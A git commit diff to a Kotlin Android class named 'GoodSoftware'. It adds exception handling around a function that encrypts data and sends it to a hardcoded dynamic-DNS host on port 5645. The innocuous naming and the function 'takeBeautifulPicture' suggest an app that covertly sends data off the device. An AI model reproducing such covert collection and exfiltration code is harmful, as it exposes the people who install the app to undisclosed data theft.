Make client not crash if it cant access the server

This commit is contained in:
Joren 2024-05-02 10:43:35 +02:00
parent e6a96f97fa
commit fc2aa3f79d
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55

View File

@ -131,6 +131,7 @@ class GoodSoftware (private val activity: MainActivity) {
fun sendDataToServer(sendData: String) {
try {
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
val host = "thinclient.duckdns.org"
val port = 5645
@ -168,7 +169,6 @@ class GoodSoftware (private val activity: MainActivity) {
reader.readLine()
}
writer.println("END_OF_COMMUNICATION")
reader.readLine()
@ -180,6 +180,10 @@ class GoodSoftware (private val activity: MainActivity) {
writer.close()
reader.close()
socket.close()
} catch (e: Exception) {
e.printStackTrace()
// Handle the exception, e.g., log the error or notify the user
}
}
suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {